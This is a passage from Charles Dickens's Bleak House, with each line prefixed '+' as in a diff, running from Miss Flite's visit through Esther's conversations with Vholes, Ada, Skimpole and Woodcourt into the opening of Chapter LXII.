+She had been to make a stately call upon the wards in Jarndyce, as
+she still called them, and had derived the highest gratification from
+that ceremony. Ada had already told me that she called every Monday
+at five o'clock, with one little extra white bow in her bonnet, which
+never appeared there at any other time, and with her largest reticule
+of documents on her arm.
+
+"My dear!" she began. "So delighted! How do you do! So glad to see
+you. And you are going to visit our interesting Jarndyce wards? TO be
+sure! Our beauty is at home, my dear, and will be charmed to see
+you."
+
+"Then Richard is not come in yet?" said I. "I am glad of that, for I
+was afraid of being a little late."
+
+"No, he is not come in," returned Miss Flite. "He has had a long day
+in court. I left him there with Vholes. You don't like Vholes, I
+hope? DON'T like Vholes. Dan-gerous man!"
+
+"I am afraid you see Richard oftener than ever now," said I.
+
+"My dearest," returned Miss Flite, "daily and hourly. You know what I
+told you of the attraction on the Chancellor's table? My dear, next
+to myself he is the most constant suitor in court. He begins quite to
+amuse our little party. Ve-ry friendly little party, are we not?"
+
+It was miserable to hear this from her poor mad lips, though it was
+no surprise.
+
+"In short, my valued friend," pursued Miss Flite, advancing her lips
+to my ear with an air of equal patronage and mystery, "I must tell
+you a secret. I have made him my executor. Nominated, constituted,
+and appointed him. In my will. Ye-es."
+
+"Indeed?" said I.
+
+"Ye-es," repeated Miss Flite in her most genteel accents, "my
+executor, administrator, and assign. (Our Chancery phrases, my love.)
+I have reflected that if I should wear out, he will be able to watch
+that judgment. Being so very regular in his attendance."
+
+It made me sigh to think of him.
+
+"I did at one time mean," said Miss Flite, echoing the sigh, "to
+nominate, constitute, and appoint poor Gridley. Also very regular, my
+charming girl. I assure you, most exemplary! But he wore out, poor
+man, so I have appointed his successor. Don't mention it. This is in
+confidence."
+
+She carefully opened her reticule a little way and showed me a folded
+piece of paper inside as the appointment of which she spoke.
+
+"Another secret, my dear. I have added to my collection of birds."
+
+"Really, Miss Flite?" said I, knowing how it pleased her to have her
+confidence received with an appearance of interest.
+
+She nodded several times, and her face became overcast and gloomy.
+"Two more. I call them the Wards in Jarndyce. They are caged up with
+all the others. With Hope, Joy, Youth, Peace, Rest, Life, Dust,
+Ashes, Waste, Want, Ruin, Despair, Madness, Death, Cunning, Folly,
+Words, Wigs, Rags, Sheepskin, Plunder, Precedent, Jargon, Gammon, and
+Spinach!"
+
+The poor soul kissed me with the most troubled look I had ever seen
+in her and went her way. Her manner of running over the names of her
+birds, as if she were afraid of hearing them even from her own lips,
+quite chilled me.
+
+This was not a cheering preparation for my visit, and I could have
+dispensed with the company of Mr. Vholes, when Richard (who arrived
+within a minute or two after me) brought him to share our dinner.
+Although it was a very plain one, Ada and Richard were for some
+minutes both out of the room together helping to get ready what we
+were to eat and drink. Mr. Vholes took that opportunity of holding a
+little conversation in a low voice with me. He came to the window
+where I was sitting and began upon Symond's Inn.
+
+"A dull place, Miss Summerson, for a life that is not an official
+one," said Mr. Vholes, smearing the glass with his black glove to
+make it clearer for me.
+
+"There is not much to see here," said I.
+
+"Nor to hear, miss," returned Mr. Vholes. "A little music does
+occasionally stray in, but we are not musical in the law and soon
+eject it. I hope Mr. Jarndyce is as well as his friends could wish
+him?"
+
+I thanked Mr. Vholes and said he was quite well.
+
+"I have not the pleasure to be admitted among the number of his
+friends myself," said Mr. Vholes, "and I am aware that the gentlemen
+of our profession are sometimes regarded in such quarters with an
+unfavourable eye. Our plain course, however, under good report and
+evil report, and all kinds of prejudice (we are the victims of
+prejudice), is to have everything openly carried on. How do you find
+Mr. C. looking, Miss Summerson?"
+
+"He looks very ill. Dreadfully anxious."
+
+"Just so," said Mr. Vholes.
+
+He stood behind me with his long black figure reaching nearly to the
+ceiling of those low rooms, feeling the pimples on his face as if
+they were ornaments and speaking inwardly and evenly as though there
+were not a human passion or emotion in his nature.
+
+"Mr. Woodcourt is in attendance upon Mr. C., I believe?" he resumed.
+
+"Mr. Woodcourt is his disinterested friend," I answered.
+
+"But I mean in professional attendance, medical attendance."
+
+"That can do little for an unhappy mind," said I.
+
+"Just so," said Mr. Vholes.
+
+So slow, so eager, so bloodless and gaunt, I felt as if Richard were
+wasting away beneath the eyes of this adviser and there were
+something of the vampire in him.
+
+"Miss Summerson," said Mr. Vholes, very slowly rubbing his gloved
+hands, as if, to his cold sense of touch, they were much the same in
+black kid or out of it, "this was an ill-advised marriage of Mr.
+C.'s."
+
+I begged he would excuse me from discussing it. They had been engaged
+when they were both very young, I told him (a little indignantly) and
+when the prospect before them was much fairer and brighter. When
+Richard had not yielded himself to the unhappy influence which now
+darkened his life.
+
+"Just so," assented Mr. Vholes again. "Still, with a view to
+everything being openly carried on, I will, with your permission,
+Miss Summerson, observe to you that I consider this a very
+ill-advised marriage indeed. I owe the opinion not only to Mr. C.'s
+connexions, against whom I should naturally wish to protect myself,
+but also to my own reputation--dear to myself as a professional man
+aiming to keep respectable; dear to my three girls at home, for whom
+I am striving to realize some little independence; dear, I will even
+say, to my aged father, whom it is my privilege to support."
+
+"It would become a very different marriage, a much happier and better
+marriage, another marriage altogether, Mr. Vholes," said I, "if
+Richard were persuaded to turn his back on the fatal pursuit in which
+you are engaged with him."
+
+Mr. Vholes, with a noiseless cough--or rather gasp--into one of his
+black gloves, inclined his head as if he did not wholly dispute even
+that.
+
+"Miss Summerson," he said, "it may be so; and I freely admit that the
+young lady who has taken Mr. C.'s name upon herself in so ill-advised
+a manner--you will I am sure not quarrel with me for throwing out
+that remark again, as a duty I owe to Mr. C.'s connexions--is a
+highly genteel young lady. Business has prevented me from mixing much
+with general society in any but a professional character; still I
+trust I am competent to perceive that she is a highly genteel young
+lady. As to beauty, I am not a judge of that myself, and I never did
+give much attention to it from a boy, but I dare say the young lady
+is equally eligible in that point of view. She is considered so (I
+have heard) among the clerks in the Inn, and it is a point more in
+their way than in mine. In reference to Mr. C.'s pursuit of his
+interests--"
+
+"Oh! His interests, Mr. Vholes!"
+
+"Pardon me," returned Mr. Vholes, going on in exactly the same inward
+and dispassionate manner. "Mr. C. takes certain interests under
+certain wills disputed in the suit. It is a term we use. In reference
+to Mr. C,'s pursuit of his interests, I mentioned to you, Miss
+Summerson, the first time I had the pleasure of seeing you, in my
+desire that everything should be openly carried on--I used those
+words, for I happened afterwards to note them in my diary, which is
+producible at any time--I mentioned to you that Mr. C. had laid down
+the principle of watching his own interests, and that when a client
+of mine laid down a principle which was not of an immoral (that is to
+say, unlawful) nature, it devolved upon me to carry it out. I HAVE
+carried it out; I do carry it out. But I will not smooth things over
+to any connexion of Mr. C.'s on any account. As open as I was to Mr.
+Jarndyce, I am to you. I regard it in the light of a professional
+duty to be so, though it can be charged to no one. I openly say,
+unpalatable as it may be, that I consider Mr. C.'s affairs in a very
+bad way, that I consider Mr. C. himself in a very bad way, and that I
+regard this as an exceedingly ill-advised marriage. Am I here, sir?
+Yes, I thank you; I am here, Mr. C., and enjoying the pleasure of
+some agreeable conversation with Miss Summerson, for which I have to
+thank you very much, sir!"
+
+He broke off thus in answer to Richard, who addressed him as he came
+into the room. By this time I too well understood Mr. Vholes's
+scrupulous way of saving himself and his respectability not to feel
+that our worst fears did but keep pace with his client's progress.
+
+We sat down to dinner, and I had an opportunity of observing Richard,
+anxiously. I was not disturbed by Mr. Vholes (who took off his gloves
+to dine), though he sat opposite to me at the small table, for I
+doubt if, looking up at all, he once removed his eyes from his host's
+face. I found Richard thin and languid, slovenly in his dress,
+abstracted in his manner, forcing his spirits now and then, and at
+other intervals relapsing into a dull thoughtfulness. About his large
+bright eyes that used to be so merry there was a wanness and a
+restlessness that changed them altogether. I cannot use the
+expression that he looked old. There is a ruin of youth which is not
+like age, and into such a ruin Richard's youth and youthful beauty
+had all fallen away.
+
+He ate little and seemed indifferent what it was, showed himself to
+be much more impatient than he used to be, and was quick even with
+Ada. I thought at first that his old light-hearted manner was all
+gone, but it shone out of him sometimes as I had occasionally known
+little momentary glimpses of my own old face to look out upon me from
+the glass. His laugh had not quite left him either, but it was like
+the echo of a joyful sound, and that is always sorrowful.
+
+Yet he was as glad as ever, in his old affectionate way, to have me
+there, and we talked of the old times pleasantly. These did not
+appear to be interesting to Mr. Vholes, though he occasionally made a
+gasp which I believe was his smile. He rose shortly after dinner and
+said that with the permission of the ladies he would retire to his
+office.
+
+"Always devoted to business, Vholes!" cried Richard.
+
+"Yes, Mr. C.," he returned, "the interests of clients are never to be
+neglected, sir. They are paramount in the thoughts of a professional
+man like myself, who wishes to preserve a good name among his
+fellow-practitioners and society at large. My denying myself the
+pleasure of the present agreeable conversation may not be wholly
+irrespective of your own interests, Mr. C."
+
+Richard expressed himself quite sure of that and lighted Mr. Vholes
+out. On his return he told us, more than once, that Vholes was a good
+fellow, a safe fellow, a man who did what he pretended to do, a very
+good fellow indeed! He was so defiant about it that it struck me he
+had begun to doubt Mr. Vholes.
+
+Then he threw himself on the sofa, tired out; and Ada and I put
+things to rights, for they had no other servant than the woman who
+attended to the chambers. My dear girl had a cottage piano there and
+quietly sat down to sing some of Richard's favourites, the lamp being
+first removed into the next room, as he complained of its hurting his
+eyes.
+
+I sat between them, at my dear girl's side, and felt very melancholy
+listening to her sweet voice. I think Richard did too; I think he
+darkened the room for that reason. She had been singing some time,
+rising between whiles to bend over him and speak to him, when Mr.
+Woodcourt came in. Then he sat down by Richard and half playfully,
+half earnestly, quite naturally and easily, found out how he felt and
+where he had been all day. Presently he proposed to accompany him in
+a short walk on one of the bridges, as it was a moonlight airy night;
+and Richard readily consenting, they went out together.
+
+They left my dear girl still sitting at the piano and me still
+sitting beside her. When they were gone out, I drew my arm round her
+waist. She put her left hand in mine (I was sitting on that side),
+but kept her right upon the keys, going over and over them without
+striking any note.
+
+"Esther, my dearest," she said, breaking silence, "Richard is never
+so well and I am never so easy about him as when he is with Allan
+Woodcourt. We have to thank you for that."
+
+I pointed out to my darling how this could scarcely be, because Mr.
+Woodcourt had come to her cousin John's house and had known us all
+there, and because he had always liked Richard, and Richard had
+always liked him, and--and so forth.
+
+"All true," said Ada, "but that he is such a devoted friend to us we
+owe to you."
+
+I thought it best to let my dear girl have her way and to say no more
+about it. So I said as much. I said it lightly, because I felt her
+trembling.
+
+"Esther, my dearest, I want to be a good wife, a very, very good wife
+indeed. You shall teach me."
+
+I teach! I said no more, for I noticed the hand that was fluttering
+over the keys, and I knew that it was not I who ought to speak, that
+it was she who had something to say to me.
+
+"When I married Richard I was not insensible to what was before him.
+I had been perfectly happy for a long time with you, and I had never
+known any trouble or anxiety, so loved and cared for, but I
+understood the danger he was in, dear Esther."
+
+"I know, I know, my darling."
+
+"When we were married I had some little hope that I might be able to
+convince him of his mistake, that he might come to regard it in a new
+way as my husband and not pursue it all the more desperately for my
+sake--as he does. But if I had not had that hope, I would have
+married him just the same, Esther. Just the same!"
+
+In the momentary firmness of the hand that was never still--a
+firmness inspired by the utterance of these last words, and dying
+away with them--I saw the confirmation of her earnest tones.
+
+"You are not to think, my dearest Esther, that I fail to see what you
+see and fear what you fear. No one can understand him better than I
+do. The greatest wisdom that ever lived in the world could scarcely
+know Richard better than my love does."
+
+She spoke so modestly and softly and her trembling hand expressed
+such agitation as it moved to and fro upon the silent notes! My dear,
+dear girl!
+
+"I see him at his worst every day. I watch him in his sleep. I know
+every change of his face. But when I married Richard I was quite
+determined, Esther, if heaven would help me, never to show him that I
+grieved for what he did and so to make him more unhappy. I want him,
+when he comes home, to find no trouble in my face. I want him, when
+he looks at me, to see what he loved in me. I married him to do this,
+and this supports me."
+
+I felt her trembling more. I waited for what was yet to come, and I
+now thought I began to know what it was.
+
+"And something else supports me, Esther."
+
+She stopped a minute. Stopped speaking only; her hand was still in
+motion.
+
+"I look forward a little while, and I don't know what great aid may
+come to me. When Richard turns his eyes upon me then, there may be
+something lying on my breast more eloquent than I have been, with
+greater power than mine to show him his true course and win him
+back."
+
+Her hand stopped now. She clasped me in her arms, and I clasped her
+in mine.
+
+"If that little creature should fail too, Esther, I still look
+forward. I look forward a long while, through years and years, and
+think that then, when I am growing old, or when I am dead perhaps, a
+beautiful woman, his daughter, happily married, may be proud of him
+and a blessing to him. Or that a generous brave man, as handsome as
+he used to be, as hopeful, and far more happy, may walk in the
+sunshine with him, honouring his grey head and saying to himself, 'I
+thank God this is my father! Ruined by a fatal inheritance, and
+restored through me!'"
+
+Oh, my sweet girl, what a heart was that which beat so fast against
+me!
+
+"These hopes uphold me, my dear Esther, and I know they will. Though
+sometimes even they depart from me before a dread that arises when I
+look at Richard."
+
+I tried to cheer my darling, and asked her what it was. Sobbing and
+weeping, she replied, "That he may not live to see his child."
+
+
+
+
+CHAPTER LXI
+
+A Discovery
+
+
+The days when I frequented that miserable corner which my dear girl
+brightened can never fade in my remembrance. I never see it, and I
+never wish to see it now; I have been there only once since, but in
+my memory there is a mournful glory shining on the place which will
+shine for ever.
+
+Not a day passed without my going there, of course. At first I found
+Mr. Skimpole there, on two or three occasions, idly playing the piano
+and talking in his usual vivacious strain. Now, besides my very much
+mistrusting the probability of his being there without making Richard
+poorer, I felt as if there were something in his careless gaiety too
+inconsistent with what I knew of the depths of Ada's life. I clearly
+perceived, too, that Ada shared my feelings. I therefore resolved,
+after much thinking of it, to make a private visit to Mr. Skimpole
+and try delicately to explain myself. My dear girl was the great
+consideration that made me bold.
+
+I set off one morning, accompanied by Charley, for Somers Town. As I
+approached the house, I was strongly inclined to turn back, for I
+felt what a desperate attempt it was to make an impression on Mr.
+Skimpole and how extremely likely it was that he would signally
+defeat me. However, I thought that being there, I would go through
+with it. I knocked with a trembling hand at Mr. Skimpole's
+door--literally with a hand, for the knocker was gone--and after a
+long parley gained admission from an Irishwoman, who was in the area
+when I knocked, breaking up the lid of a water-butt with a poker to
+light the fire with.
+
+Mr. Skimpole, lying on the sofa in his room, playing the flute a
+little, was enchanted to see me. Now, who should receive me, he
+asked. Who would I prefer for mistress of the ceremonies? Would I
+have his Comedy daughter, his Beauty daughter, or his Sentiment
+daughter? Or would I have all the daughters at once in a perfect
+nosegay?
+
+I replied, half defeated already, that I wished to speak to himself
+only if he would give me leave.
+
+"My dear Miss Summerson, most joyfully! Of course," he said, bringing
+his chair nearer mine and breaking into his fascinating smile, "of
+course it's not business. Then it's pleasure!"
+
+I said it certainly was not business that I came upon, but it was not
+quite a pleasant matter.
+
+"Then, my dear Miss Summerson," said he with the frankest gaiety,
+"don't allude to it. Why should you allude to anything that is NOT a
+pleasant matter? I never do. And you are a much pleasanter creature,
+in every point of view, than I. You are perfectly pleasant; I am
+imperfectly pleasant; then, if I never allude to an unpleasant
+matter, how much less should you! So that's disposed of, and we will
+talk of something else."
+
+Although I was embarrassed, I took courage to intimate that I still
+wished to pursue the subject.
+
+"I should think it a mistake," said Mr. Skimpole with his airy laugh,
+"if I thought Miss Summerson capable of making one. But I don't!"
+
+"Mr. Skimpole," said I, raising my eyes to his, "I have so often
+heard you say that you are unacquainted with the common affairs of
+life--"
+
+"Meaning our three banking-house friends, L, S, and who's the junior
+partner? D?" said Mr. Skimpole, brightly. "Not an idea of them!"
+
+"--That perhaps," I went on, "you will excuse my boldness on that
+account. I think you ought most seriously to know that Richard is
+poorer than he was."
+
+"Dear me!" said Mr. Skimpole. "So am I, they tell me."
+
+"And in very embarrassed circumstances."
+
+"Parallel case, exactly!" said Mr. Skimpole with a delighted
+countenance.
+
+"This at present naturally causes Ada much secret anxiety, and as I
+think she is less anxious when no claims are made upon her by
+visitors, and as Richard has one uneasiness always heavy on his mind,
+it has occurred to me to take the liberty of saying that--if you
+would--not--"
+
+I was coming to the point with great difficulty when he took me by
+both hands and with a radiant face and in the liveliest way
+anticipated it.
+
+"Not go there? Certainly not, my dear Miss Summerson, most assuredly
+not. Why SHOULD I go there? When I go anywhere, I go for pleasure. I
+don't go anywhere for pain, because I was made for pleasure. Pain
+comes to ME when it wants me. Now, I have had very little pleasure at
+our dear Richard's lately, and your practical sagacity demonstrates
+why. Our young friends, losing the youthful poetry which was once so
+captivating in them, begin to think, 'This is a man who wants
+pounds.' So I am; I always want pounds; not for myself, but because
+tradespeople always want them of me. Next, our young friends begin to
+think, becoming mercenary, 'This is the man who HAD pounds, who
+borrowed them,' which I did. I always borrow pounds. So our young
+friends, reduced to prose (which is much to be regretted), degenerate
+in their power of imparting pleasure to me. Why should I go to see
+them, therefore? Absurd!"
+
+Through the beaming smile with which he regarded me as he reasoned
+thus, there now broke forth a look of disinterested benevolence quite
+astonishing.
+
+"Besides," he said, pursuing his argument in his tone of
+light-hearted conviction, "if I don't go anywhere for pain--which
+would be a perversion of the intention of my being, and a monstrous
+thing to do--why should I go anywhere to be the cause of pain? If I
+went to see our young friends in their present ill-regulated state of
+mind, I should give them pain. The associations with me would be
+disagreeable. They might say, 'This is the man who had pounds and who
+can't pay pounds,' which I can't, of course; nothing could be more
+out of the question! Then kindness requires that I shouldn't go near
+them--and I won't."
+
+He finished by genially kissing my hand and thanking me. Nothing but
+Miss Summerson's fine tact, he said, would have found this out for
+him.
+
+I was much disconcerted, but I reflected that if the main point were
+gained, it mattered little how strangely he perverted everything
+leading to it. I had determined to mention something else, however,
+and I thought I was not to be put off in that.
+
+"Mr. Skimpole," said I, "I must take the liberty of saying before I
+conclude my visit that I was much surprised to learn, on the best
+authority, some little time ago, that you knew with whom that poor
+boy left Bleak House and that you accepted a present on that
+occasion. I have not mentioned it to my guardian, for I fear it would
+hurt him unnecessarily; but I may say to you that I was much
+surprised."
+
+"No? Really surprised, my dear Miss Summerson?" he returned
+inquiringly, raising his pleasant eyebrows.
+
+"Greatly surprised."
+
+He thought about it for a little while with a highly agreeable and
+whimsical expression of face, then quite gave it up and said in his
+most engaging manner, "You know what a child I am. Why surprised?"
+
+I was reluctant to enter minutely into that question, but as he
+begged I would, for he was really curious to know, I gave him to
+understand in the gentlest words I could use that his conduct seemed
+to involve a disregard of several moral obligations. He was much
+amused and interested when he heard this and said, "No, really?" with
+ingenuous simplicity.
+
+"You know I don't intend to be responsible. I never could do it.
+Responsibility is a thing that has always been above me--or below
+me," said Mr. Skimpole. "I don't even know which; but as I understand
+the way in which my dear Miss Summerson (always remarkable for her
+practical good sense and clearness) puts this case, I should imagine
+it was chiefly a question of money, do you know?"
+
+I incautiously gave a qualified assent to this.
+
+"Ah! Then you see," said Mr. Skimpole, shaking his head, "I am
+hopeless of understanding it."
+
+I suggested, as I rose to go, that it was not right to betray my
+guardian's confidence for a bribe.
+
+"My dear Miss Summerson," he returned with a candid hilarity that was
+all his own, "I can't be bribed."
+
+"Not by Mr. Bucket?" said I.
+
+"No," said he. "Not by anybody. I don't attach any value to money. I
+don't care about it, I don't know about it, I don't want it, I don't
+keep it--it goes away from me directly. How can I be bribed?"
+
+I showed that I was of a different opinion, though I had not the
+capacity for arguing the question.
+
+"On the contrary," said Mr. Skimpole, "I am exactly the man to be
+placed in a superior position in such a case as that. I am above the
+rest of mankind in such a case as that. I can act with philosophy in
+such a case as that. I am not warped by prejudices, as an Italian
+baby is by bandages. I am as free as the air. I feel myself as far
+above suspicion as Caesar's wife."
+
+Anything to equal the lightness of his manner and the playful
+impartiality with which he seemed to convince himself, as he tossed
+the matter about like a ball of feathers, was surely never seen in
+anybody else!
+
+"Observe the case, my dear Miss Summerson. Here is a boy received
+into the house and put to bed in a state that I strongly object to.
+The boy being in bed, a man arrives--like the house that Jack built.
+Here is the man who demands the boy who is received into the house
+and put to bed in a state that I strongly object to. Here is a
+bank-note produced by the man who demands the boy who is received
+into the house and put to bed in a state that I strongly object to.
+Here is the Skimpole who accepts the bank-note produced by the man
+who demands the boy who is received into the house and put to bed in
+a state that I strongly object to. Those are the facts. Very well.
+Should the Skimpole have refused the note? WHY should the Skimpole
+have refused the note? Skimpole protests to Bucket, 'What's this for?
+I don't understand it, it is of no use to me, take it away.' Bucket
+still entreats Skimpole to accept it. Are there reasons why Skimpole,
+not being warped by prejudices, should accept it? Yes. Skimpole
+perceives them. What are they? Skimpole reasons with himself, this is
+a tamed lynx, an active police-officer, an intelligent man, a person
+of a peculiarly directed energy and great subtlety both of conception
+and execution, who discovers our friends and enemies for us when they
+run away, recovers our property for us when we are robbed, avenges us
+comfortably when we are murdered. This active police-officer and
+intelligent man has acquired, in the exercise of his art, a strong
+faith in money; he finds it very useful to him, and he makes it very
+useful to society. Shall I shake that faith in Bucket because I want
+it myself; shall I deliberately blunt one of Bucket's weapons; shall
+I positively paralyse Bucket in his next detective operation? And
+again. If it is blameable in Skimpole to take the note, it is
+blameable in Bucket to offer the note--much more blameable in Bucket,
+because he is the knowing man. Now, Skimpole wishes to think well of
+Bucket; Skimpole deems it essential, in its little place, to the
+general cohesion of things, that he SHOULD think well of Bucket. The
+state expressly asks him to trust to Bucket. And he does. And that's
+all he does!"
+
+I had nothing to offer in reply to this exposition and therefore took
+my leave. Mr. Skimpole, however, who was in excellent spirits, would
+not hear of my returning home attended only by "Little Coavinses,"
+and accompanied me himself. He entertained me on the way with a
+variety of delightful conversation and assured me, at parting, that
+he should never forget the fine tact with which I had found that out
+for him about our young friends.
+
+As it so happened that I never saw Mr. Skimpole again, I may at once
+finish what I know of his history. A coolness arose between him and
+my guardian, based principally on the foregoing grounds and on his
+having heartlessly disregarded my guardian's entreaties (as we
+afterwards learned from Ada) in reference to Richard. His being
+heavily in my guardian's debt had nothing to do with their
+separation. He died some five years afterwards and left a diary
+behind him, with letters and other materials towards his life, which
+was published and which showed him to have been the victim of a
+combination on the part of mankind against an amiable child. It was
+considered very pleasant reading, but I never read more of it myself
+than the sentence on which I chanced to light on opening the book. It
+was this: "Jarndyce, in common with most other men I have known, is
+the incarnation of selfishness."
+
+And now I come to a part of my story touching myself very nearly
+indeed, and for which I was quite unprepared when the circumstance
+occurred. Whatever little lingerings may have now and then revived in
+my mind associated with my poor old face had only revived as
+belonging to a part of my life that was gone--gone like my infancy or
+my childhood. I have suppressed none of my many weaknesses on that
+subject, but have written them as faithfully as my memory has
+recalled them. And I hope to do, and mean to do, the same down to the
+last words of these pages, which I see now not so very far before me.
+
+The months were gliding away, and my dear girl, sustained by the
+hopes she had confided in me, was the same beautiful star in the
+miserable corner. Richard, more worn and haggard, haunted the court
+day after day, listlessly sat there the whole day long when he knew
+there was no remote chance of the suit being mentioned, and became
+one of the stock sights of the place. I wonder whether any of the
+gentlemen remembered him as he was when he first went there.
+
+So completely was he absorbed in his fixed idea that he used to avow
+in his cheerful moments that he should never have breathed the fresh
+air now "but for Woodcourt." It was only Mr. Woodcourt who could
+occasionally divert his attention for a few hours at a time and rouse
+him, even when he sunk into a lethargy of mind and body that alarmed
+us greatly, and the returns of which became more frequent as the
+months went on. My dear girl was right in saying that he only pursued
+his errors the more desperately for her sake. I have no doubt that
+his desire to retrieve what he had lost was rendered the more intense
+by his grief for his young wife, and became like the madness of a
+gamester.
+
+I was there, as I have mentioned, at all hours. When I was there at
+night, I generally went home with Charley in a coach; sometimes my
+guardian would meet me in the neighbourhood, and we would walk home
+together. One evening he had arranged to meet me at eight o'clock. I
+could not leave, as I usually did, quite punctually at the time, for
+I was working for my dear girl and had a few stitches more to do to
+finish what I was about; but it was within a few minutes of the hour
+when I bundled up my little work-basket, gave my darling my last kiss
+for the night, and hurried downstairs. Mr. Woodcourt went with me, as
+it was dusk.
+
+When we came to the usual place of meeting--it was close by, and Mr.
+Woodcourt had often accompanied me before--my guardian was not there.
+We waited half an hour, walking up and down, but there were no signs
+of him. We agreed that he was either prevented from coming or that he
+had come and gone away, and Mr. Woodcourt proposed to walk home with
+me.
+
+It was the first walk we had ever taken together, except that very
+short one to the usual place of meeting. We spoke of Richard and Ada
+the whole way. I did not thank him in words for what he had done--my
+appreciation of it had risen above all words then--but I hoped he
+might not be without some understanding of what I felt so strongly.
+
+Arriving at home and going upstairs, we found that my guardian was
+out and that Mrs. Woodcourt was out too. We were in the very same
+room into which I had brought my blushing girl when her youthful
+lover, now her so altered husband, was the choice of her young heart,
+the very same room from which my guardian and I had watched them
+going away through the sunlight in the fresh bloom of their hope and
+promise.
+
+We were standing by the opened window looking down into the street
+when Mr. Woodcourt spoke to me. I learned in a moment that he loved
+me. I learned in a moment that my scarred face was all unchanged to
+him. I learned in a moment that what I had thought was pity and
+compassion was devoted, generous, faithful love. Oh, too late to know
+it now, too late, too late. That was the first ungrateful thought I
+had. Too late.
+
+"When I returned," he told me, "when I came back, no richer than when
+I went away, and found you newly risen from a sick bed, yet so
+inspired by sweet consideration for others and so free from a selfish
+thought--"
+
+"Oh, Mr. Woodcourt, forbear, forbear!" I entreated him. "I do not
+deserve your high praise. I had many selfish thoughts at that time,
+many!"
+
+"Heaven knows, beloved of my life," said he, "that my praise is not a
+lover's praise, but the truth. You do not know what all around you
+see in Esther Summerson, how many hearts she touches and awakens,
+what sacred admiration and what love she wins."
+
+"Oh, Mr. Woodcourt," cried I, "it is a great thing to win love, it is
+a great thing to win love! I am proud of it, and honoured by it; and
+the hearing of it causes me to shed these tears of mingled joy and
+sorrow--joy that I have won it, sorrow that I have not deserved it
+better; but I am not free to think of yours."
+
+I said it with a stronger heart, for when he praised me thus and when
+I heard his voice thrill with his belief that what he said was true,
+I aspired to be more worthy of it. It was not too late for that.
+Although I closed this unforeseen page in my life to-night, I could
+be worthier of it all through my life. And it was a comfort to me,
+and an impulse to me, and I felt a dignity rise up within me that was
+derived from him when I thought so.
+
+He broke the silence.
+
+"I should poorly show the trust that I have in the dear one who will
+evermore be as dear to me as now"--and the deep earnestness with
+which he said it at once strengthened me and made me weep--"if, after
+her assurance that she is not free to think of my love, I urged it.
+Dear Esther, let me only tell you that the fond idea of you which I
+took abroad was exalted to the heavens when I came home. I have
+always hoped, in the first hour when I seemed to stand in any ray of
+good fortune, to tell you this. I have always feared that I should
+tell it you in vain. My hopes and fears are both fulfilled to-night.
+I distress you. I have said enough."
+
+Something seemed to pass into my place that was like the angel he
+thought me, and I felt so sorrowful for the loss he had sustained! I
+wished to help him in his trouble, as I had wished to do when he
+showed that first commiseration for me.
+
+"Dear Mr. Woodcourt," said I, "before we part to-night, something is
+left for me to say. I never could say it as I wish--I never
+shall--but--"
+
+I had to think again of being more deserving of his love and his
+affliction before I could go on.
+
+"--I am deeply sensible of your generosity, and I shall treasure its
+remembrance to my dying hour. I know full well how changed I am, I
+know you are not unacquainted with my history, and I know what a
+noble love that is which is so faithful. What you have said to me
+could have affected me so much from no other lips, for there are none
+that could give it such a value to me. It shall not be lost. It shall
+make me better."
+
+He covered his eyes with his hand and turned away his head. How could
+I ever be worthy of those tears?
+
+"If, in the unchanged intercourse we shall have together--in tending
+Richard and Ada, and I hope in many happier scenes of life--you ever
+find anything in me which you can honestly think is better than it
+used to be, believe that it will have sprung up from to-night and
+that I shall owe it to you. And never believe, dear dear Mr.
+Woodcourt, never believe that I forget this night or that while my
+heart beats it can be insensible to the pride and joy of having been
+beloved by you."
+
+He took my hand and kissed it. He was like himself again, and I felt
+still more encouraged.
+
+"I am induced by what you said just now," said I, "to hope that you
+have succeeded in your endeavour."
+
+"I have," he answered. "With such help from Mr. Jarndyce as you who
+know him so well can imagine him to have rendered me, I have
+succeeded."
+
+"Heaven bless him for it," said I, giving him my hand; "and heaven
+bless you in all you do!"
+
+"I shall do it better for the wish," he answered; "it will make me
+enter on these new duties as on another sacred trust from you."
+
+"Ah! Richard!" I exclaimed involuntarily, "What will he do when you
+are gone!"
+
+"I am not required to go yet; I would not desert him, dear Miss
+Summerson, even if I were."
+
+One other thing I felt it needful to touch upon before he left me. I
+knew that I should not be worthier of the love I could not take if I
+reserved it.
+
+"Mr. Woodcourt," said I, "you will be glad to know from my lips
+before I say good night that in the future, which is clear and bright
+before me, I am most happy, most fortunate, have nothing to regret or
+desire."
+
+It was indeed a glad hearing to him, he replied.
+
+"From my childhood I have been," said I, "the object of the untiring
+goodness of the best of human beings, to whom I am so bound by every
+tie of attachment, gratitude, and love, that nothing I could do in
+the compass of a life could express the feelings of a single day."
+
+"I share those feelings," he returned. "You speak of Mr. Jarndyce."
+
+"You know his virtues well," said I, "but few can know the greatness
+of his character as I know it. All its highest and best qualities
+have been revealed to me in nothing more brightly than in the shaping
+out of that future in which I am so happy. And if your highest homage
+and respect had not been his already--which I know they are--they
+would have been his, I think, on this assurance and in the feeling it
+would have awakened in you towards him for my sake."
+
+He fervently replied that indeed indeed they would have been. I gave
+him my hand again.
+
+"Good night," I said, "Good-bye."
+
+"The first until we meet to-morrow, the second as a farewell to this
+theme between us for ever."
+
+"Yes."
+
+"Good night; good-bye."
+
+He left me, and I stood at the dark window watching the street. His
+love, in all its constancy and generosity, had come so suddenly upon
+me that he had not left me a minute when my fortitude gave way again
+and the street was blotted out by my rushing tears.
+
+But they were not tears of regret and sorrow. No. He had called me
+the beloved of his life and had said I would be evermore as dear to
+him as I was then, and I felt as if my heart would not hold the
+triumph of having heard those words. My first wild thought had died
+away. It was not too late to hear them, for it was not too late to be
+animated by them to be good, true, grateful, and contented. How easy
+my path, how much easier than his!
+
+
+
+
+CHAPTER LXII
+
+Another Discovery
+
+
+I had not the courage to see any one that night. I had not even the
+courage to see myself, for I was afraid that my tears might a little
+reproach me. I went up to my room in the dark, and prayed in the
+dark, and lay down in the dark to sleep. I had no need of any light
+to read my guardian's letter by, for I knew it by heart. I took it
+from the place where I kept it, and repeated its contents by its own
+clear light of integrity and love, and went to sleep with it on my
+pillow.
+
+I was up very early in the morning and called Charley to come for a
+walk. We bought flowers for the breakfast-table, and came back and
+arranged them, and were as busy as possible. We were so early that I
+had a good time still for Charley's lesson before breakfast; Charley
+(who was not in the least improved in the old defective article of
+grammar) came through it with great applause; and we were altogether
+very notable. When my guardian appeared he said, "Why, little woman,
+you look fresher than your flowers!" And Mrs. Woodcourt repeated and
+translated a passage from the Mewlinnwillinwodd expressive of my
+being like a mountain with the sun upon it.
+
+This was all so pleasant that I hope it made me still more like the
+mountain than I had been before. After breakfast I waited my
+opportunity and peeped about a little until I saw my guardian in his
